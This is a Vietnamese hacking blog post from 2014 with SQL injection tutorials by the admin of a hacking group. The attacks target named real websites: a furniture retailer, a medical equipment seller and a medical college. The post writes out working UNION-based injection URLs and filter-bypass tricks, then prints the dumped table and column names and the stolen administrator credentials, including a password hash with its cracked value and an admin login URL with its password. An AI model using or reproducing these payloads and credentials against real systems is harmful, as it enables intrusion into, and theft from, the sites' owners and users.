Hacking - Security

Welcome to Mr Quý's Blog

Software

Nơi lữu trữ những phần mềm hữu ích cho cuộc sống

Tin Tức 24h

Nơi thường xuyên cập nhật những tin tức nóng trong và ngoài nước

Thiết Kế Đồ Họa

Nơi trưng bày những tác phẩm và bài học từ thiết kế đồ họa

Hacking SQLi

Lỗ hổng bảo mật SQLi của những trang web trong và ngoài nước

Hiển thị các bài đăng có nhãn Tutorials. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Tutorials. Hiển thị tất cả bài đăng

Thứ Sáu, 26 tháng 9, 2014

Hướng dẫn SQLi bài cơ bản

SQLi cơ bản
Victim: http://noithatgiathanh.com.vn/

Get order by bình thường chắc các bạn cũng biết query rồi
Order by ...--+-

Sau khi ra được phần Order by ta Union Select nó để get version
Get version: Version()

Get Table:
http://noithatgiathanh.com.vn/?frame=product_detail&id=-738 UNION all /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000table_name*/))),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables where table_schema=database()--+-

Đây là trường hơp khi mình query theo cách bình thường nhưng ko thấy hiện ra các table, ta phải dùng bypass là unhex(hex( để tiến hành làm xuất dữ liệu của table ra
"tbl_access,tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_order,tbl_order_detail,tbl_product,tbl_product_category,tbl_product_home,tbl_product_pro,tbl_product_sell,tbl_product_special,tbl_user,tbl_visitor"

Get Column:
Tương tự như query table_name ta chỉ việc thay table_name trong group_concat thành column_name

http://noithatgiathanh.com.vn/?frame=product_detail&id=-738 UNION all /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!column_name*/))),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_schema=database()--+-

"id,date,id,code,name,detail,date_added,last_modified,id,code,name,parent,subject,detail_short,detail,image,image_large,sort,status,date_added,last_modified,lang,id,code,name,parent,subject,detail_short,detail,image,image_large,sort,status,date_added,last_modified,lang,id,name,sex,company,address,city,country,tel,fax,email,website,uid,pwd,status,date_added,last_modified,note,code,orderid,id,code,member_id,date_added,last_modified,id,order_id,product_id,quantity,price,status,id,code,name,parent,subject,detail_short,detail,image,image_large,sort,status,status1,pro_new,pro_sell,checksao,date_added,last_modified,lang,price,luotxem,id,code,name,parent,subject,detail_short,detail,image,image_large,sort,status,date_added,last_modified,lang,id,product_id,price,sort,status,date_added,last_modified,lang,id,product_id,sort,status,date_added,last_modified,lang,id,product_id,sort,status,date_added,last_modified,lang,id,product_id,sort,status,date_added,last_modified,lang,id,uid,pwd,session_id,activity,member,ip_address,url"

Ta chỉ lưu ý đến column có thể chứ tài khoản login của ADMIN thôi
=> "uid, pwd"

Get tài khoản:
http://noithatgiathanh.com.vn/?frame=product_detail&id=-738 UNION all /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!uid,0x7c,pwd*/))),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tbl_user--+-

=>"admin|975e89cd02486d78cc50bb06678a5969"
ID: admin
pass: 975e89cd02486d78cc50bb06678a5969
MD5: ceh

Tutorials By Quý Huỳnh, Admin VN-Hacking Group

Hướng dẫn check site chặn ký tự và query


Victim: http://www.alatkesehatan.co.id

Lưu ý: site này bị cắn query "concat" và chặn luôn dấu "( )" nhé.

Ta tìm version:
http://www.alatkesehatan.co.id/products/category/?id=null /*!50000UNION SELECT*/ 1,2,3,4;&nm=doctor_equipment

ra được số "2" thay version vào

http://www.alatkesehatan.co.id/products/category/?id=null /*!50000UNION SELECT*/ 1,@@version,3,4;&nm=doctor_equipment

=>  5.5.34-log

Get Table:

http://www.alatkesehatan.co.id/products/category/?id=null /*!50000UNION SELECT*/ 1,/*!10000table_name,3,4 from /*!10000information_schema*/.tables where table_schema=database() limit 0,1;&nm=doctor_equipment

Ta tăng "Limit" lên dần dần để tìm từ khóa khả nghi
=> Limit 0,1 = tbl_config
Theo thứ tự 1,1 rồi 2,1...

Get Column:

http://www.alatkesehatan.co.id/products/category/?id=null /*!50000UNION SELECT*/ 1,/*!10000column_name,3,4 from /*!10000information_schema*/.columns where table_name=0x74626c5f75736572 limit 0,1;&nm=doctor_equipment

Khai thác y chang như get table nhé. Cứ tăng dần Limit.
----------------------------

Link Admin: http://www.alatkesehatan.co.id/myadmin
User ID: admin
Password: A789000EE==
-------------------------------
Lưu ý đây là site mẫu tôi đã check qua rồi và đã hướng dẫn nhiều rồi nên các bạn chỉ xem đây là một bài học kinh nghiệm

--- Checked By Quý Huỳnh, Admin VN - Hacking Group ---

Thứ Năm, 25 tháng 9, 2014

Check Site SQL Trường Cao Đẳng Y Tế Cần Thơ

Check Site SQL Cao Đẳng Y Tế Cần Thơ

Bypass chặn: () , -- -, group_concat, concat_ws, chặn dấu =
=> Thay thế dấu "=" thành chữ "Like"
=> Thay thế khoảng trống và phía sau: %0A, /**/, --
Download TUT tại Đây
Pass giải nén:
quyhuynhsql
Khi share nhớ để lại nguồn.

Bài viết và Tut rất rõ ràng, bạn nào chưa hiểu có thể pm hỏi mình qua FB của mình có sẵn trên nút FB của blog




Quý Huỳnh - Admin VN - Hacking Group